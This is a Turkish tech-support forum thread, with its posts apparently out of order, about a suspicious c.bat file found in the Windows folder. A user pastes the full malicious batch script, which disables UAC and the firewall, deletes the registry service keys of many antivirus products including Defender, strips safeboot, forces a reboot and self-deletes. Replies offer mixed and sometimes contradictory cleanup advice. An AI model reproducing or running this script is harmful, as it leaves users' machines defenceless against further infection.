Dosya açıldığı takdirde Kaspersky'nin gerçek zamanlı koruması açık ise engellenecektir. Kodu yazan kişi 'profesyonel' falan değil. bilgisi olanın yazabileceği basit bir kod.

Kurtulursunuz ama kolay yol olarak Kaspersky ile tam tarama yapın. Konu açarsanız daha iyi yardımcı olabiliriz.

Antivirüsler hakkında kapatma kodları gördüm büyük ihtimalle virüstür.

Tamamdır deniyorum.

VirusTotal VirusTotal virustotal.com

Bende bilmiyorum daha önceden de reklam virüsü bulaşmıştı ondan kalma olabilir mi ben bunu 1 haftadır görüyorum herhangi bir sorun yok açıcaktım vazgeçtim içine baktım sonra buraya yazdım kaspersky ile falan tarattım sorun yok malwarebytes ile de taratayım

Daha uygulama hiç çalışmamış. Bu yüzden açılışta çalışmıyor. Zaten nasıl çalıştıklarını uzunca süredir inceliyorum bu dosya tiplerinin.

Çoğu antivirüs uygulamasının Kayıt Defterini silmeye ve bilgisayarı 10 saniyede kapatmaya ayarlanmış bir virüse destek programı gibi duruyor. Bu programı çalıştırmayın ve Kaspersky Secure Disk ile sisteminizi temizleyin. Kaspersky Free Rescue Disk | Kaspersky Thank you for downloading Kaspersky Free Rescue Disk. www.kaspersky.com Kaspersky Rescue Disk KullanÄ±m Rehberi Kaspersky Rescue Disk'i kullanarak bilgisayarınızdaki zararlı yazılımları nasıl kaldırabileceğinizi bu rehberimizde anlatıyoruz. Kaspersky Rescue Disk, www.technopat.net

Abo, çok tehlikeli.

Hocam reklam virüsü müdür değil midir onu konuyu bilenlere sorun ama bana kalırsa değildir.

Dosya direk virüs değil yani direk çalışmıyor ondan antivirüs algılamaz registry dosyalarını sildikten sonra PC zaten gg olacaktır.

Bu konulardan hiç anlamam ama öyle gibi. ...

Arkadaşlar maşallah c e d. bat ve. reg dosyaları var alfabe dizmişler.

Yanlış biliyorsunuz. Antivirüsler dosyanın içini inceler. Dosya çok tehlikeli bir dosya. Virüs yazdığım için biliyorum

Virüs, incelediğim kadarıyla. Antivirüslerin reg kayıtlarını siliyor.

Registry dosyalarını silen bir virüs ve kodlarda anti malware yazıyor Malwarebytes ile tam tarama yapmanızı öneririm.

Ben en fazla 3-4 konuya yazdim. Onu oneren birkac arkadas vardi her virus konusunda. Fazla sistem kaynagi tuketmedigi için cok oneriliyor.

Sadece bunlar değil. Defender, Kaspersky vb. hepsini kapatıyor. Kim yazdıysa zeki biri.

Virustotal'e yükler misiniz? Açtığınız takdirde Kaspersky engelleyecektir.

Doğrudan false positive olmaması için bu tarz şeyler virüs olarak algılanmıyor. Dosyayı shift+delete ile silin.

Cevapla Etiketle 3 312971 Hectopat Katılım 28 Mart 2020 Mesajlar 3.020 Makaleler 4 Çözümler 19 29 Ocak 2021

Windows başladığı anda çalışsaydı şuana kadar PC gg olurdu içindeki kodlarda hem antivirüsleri kapatma hem önemli Windows dosyalarını silme Ve PC'yi bunları yaptıktan sonra kapatma kodu var hem bilmediğimi nereden çıkardınız?

Göremedim maili.

Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Gördüğünüz üzere ilk önce comodo, avira antivirüslerini kapatmış ve superantispyware yani virüs.

Hocam siz ne yaptınız yahu?

VirusTotal VirusTotal www.virustotal.com

Şu konuyu şu kadar uzatmadan üstteki rehber ile sisteminizi temizleyin.

Bu dosyayı arşivleyip bana atarsanız sevinirim. Direk o dizini arşivleyin.

Bu programcık, sistemin koruma düzeyini "0"'a indirir. Ve bu çok riskli bir durumdur. Kaspersky ile tarama yapabilir, veya diski biçimlendirebilirsin.

Bu rehberle birlikte bu uygulamayı kullanırsanız sorununuz muhtemelen çözülecektir.

Reklam virüsü değil.

Şuan birşey yoktur ama dimi A-V ler çalışır?

"Shell"="explorer. exe, nl. exe c. b a t" arkadaşlar bide c. reg diye birşey var içinde bu yazıyor

Yaklaşık 15 gün önce VirusTotal'e yüklenmiş bir program. Bu kadar çabuk nasıl bu uygulamayı buldunuz? Hayret verici. Daha yeni bir program olduğu için AV'ler veritabanlarına bu programı eklememiş olabilirler. @melih67 Program şu an herhangi bir AV'yi yükleyip kurduğunuz anda çalışıp bilgisayarı 10 saniyede kapatacaktır.

Bugün açtığımda cmd yönetici olarak açılıyordu hayır dedim ve büyük ihtimal bu reklam virüsünden kalma birşey çünkü e. reg diye birşey var için Windows Registry Editor Version 5.00 "Shell"="explorer. exe, nl. exe e. b a t" yazıyor nl. exe diye bişey var reklam virüsünde silmiştim windowstan önceki konuda var hatta

Windows Registry Editor Version 5.00 "Bias"=dword:ffffffc4 "DaylightBias"=dword:ffffffc4 "DaylightName"="@tzres. dll,-321" "DaylightStart"=hex:00,00,03,00,05,00,02,00,00,00,00,00,00,00,00,00 "StandardBias"=dword:00000000 "StandardName"="@tzres. dll,-322" "StandardStart"=hex:00,00,0a,00,05,00,03,00,00,00,00,00,00,00,00,00 "TimeZoneKeyName"="W. Europe Standard Time" "DynamicDaylightTimeDisabled"=dword:00000000 "ActiveTimeBias"=dword:ffffff88 bu kodda zararlı mı yanlış birşeyi silmek istemiyorum.

Konumu verir misin? Belki bende de vardır. C/windows/win32 Bu şekilde yazar mısınız?

Merhabalar Windows klasöründe c. bat adında bir dosya var bu virüs müdür? İçindeki kodlar. Kod:Panoya kopyala @Echo off set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%" "x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "00000000" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "00000000" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "00000000" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "00000000" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ". zip;. rar;. nfo;. txt;. exe;. bat;.com;. cmd;. reg;. msi;.htm;.html;. gif;. bmp;. jpg;. avi;. mpg;. mpeg;. mov;. mp3;. m3u;. wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ " /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ " /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg. exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls. dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64. dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64. exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls. dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice. exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg. exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "00000000" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "00000000" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "00000000" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "00000000" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ". zip;. rar;. nfo;. txt;. exe;. bat;.com;. cmd;. reg;. msi;.htm;.html;. gif;. bmp;. jpg;. avi;. mpg;. mpeg;. mov;. mp3;. m3u;. wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ " /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ " /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg. exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls. dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64. dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64. exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls. dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice. exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg. exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ \Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 ) Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE4.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE3.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP20.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP19.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\! SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira. ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MsMpSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /f Reg Add "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /v "Start" /t REG_DWORD /d "4" /f Reg Add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess" /v "Start" /t REG_DWORD /d "00000004" /f Reg Add "HKLM\SYSTEM\CurrentControlSet\services\MpsSvc" /v "Start" /t REG_DWORD /d "00000004" /f Reg Add "HKLM\SYSTEM\CurrentControlset\Control\Nls\Language" /v "Default" /t REG_SZ /d "0407" /f Reg Add "HKLM\SYSTEM\CurrentControlset\Control\Nls\Locale" /v " " /t REG_SZ /d "00000407" /f bcdedit /deletevalue " " safeboot regedit /s %windir%\d. reg regedit /s %windir%\ct. reg del %windir%\Set-up. exe del %windir%\ct. reg del %windir%\d. reg del %windir%\b. bat shutdown /r /f /t 10 del %0

Hocam şu an format atıyorum.

Siz ne yaptınızda bu kadar çok virüs vb. şey PC de varbir av olaydı bunlarda olmazdı.

Hocam ayıptır sorması bu nasıl bulaştı?

Olmaz. Muhtemelen sisteminizde virüs var. Silseniz bile geri gelmesi yüksektir.

Hayır. Bilgili bir kişi, Av'lerin koruma için gerekli olan reg kayıtlarının konumlarını çözmüş.

Evet virüs olabilir. Bütün anti-virüs yazılımlarını devre dışı bırakmaya, kendi ayarlarını etkinleştirmeye programlanmış. Silme, herhangi bir etkileşime geçme. Diski biçimlendir.

Dün sildim şu an yok tarama falan yaptım temizde dün söylemeyi unuttum execute. bat diye bir şey var her başlangıçta açılıyor. C:\Users\melih\AppData\Local\Temp burada bir klasörün içinde execute. bat olması lazım ben hayır diyorum baktığımda için de böyle bir şey yok her açıldığında o silinen klasörün ismi farklı oluyor.

Dosya Ekleri maxresdefault. jpg 103,8 KB · Görüntüleme: 41

Hocam yanlış anımsamış olabilirim ama nerde siz, orda "kasparesky ile tarama" .

Antivirüs Kayıt Defteri Düzenleyicisi değerlerini siliyor, bilgisayarınızı 10 saniyede kapatıyor. Sakın açmayın. Başka bir dosya bununla bağlantılıdır muhtemelen. Sizi savunmasız bırakıp virüsün etkinliğini arttırmaya çalışıyor.

Kaspersky ile tarama yap virüs olma ihtimali var MSI dosyalarına ve birçok sistem dosyasına değişiklik yapıyor.

Direk çalışıyor. Windows başladığı anda. Bilmiyor iseniz konuşmayın.

Kaspersky ile tam tarama yapin istiyorsaniz.

Aynı virüsü ben de yedim bugün format atsam kurtulur muyum?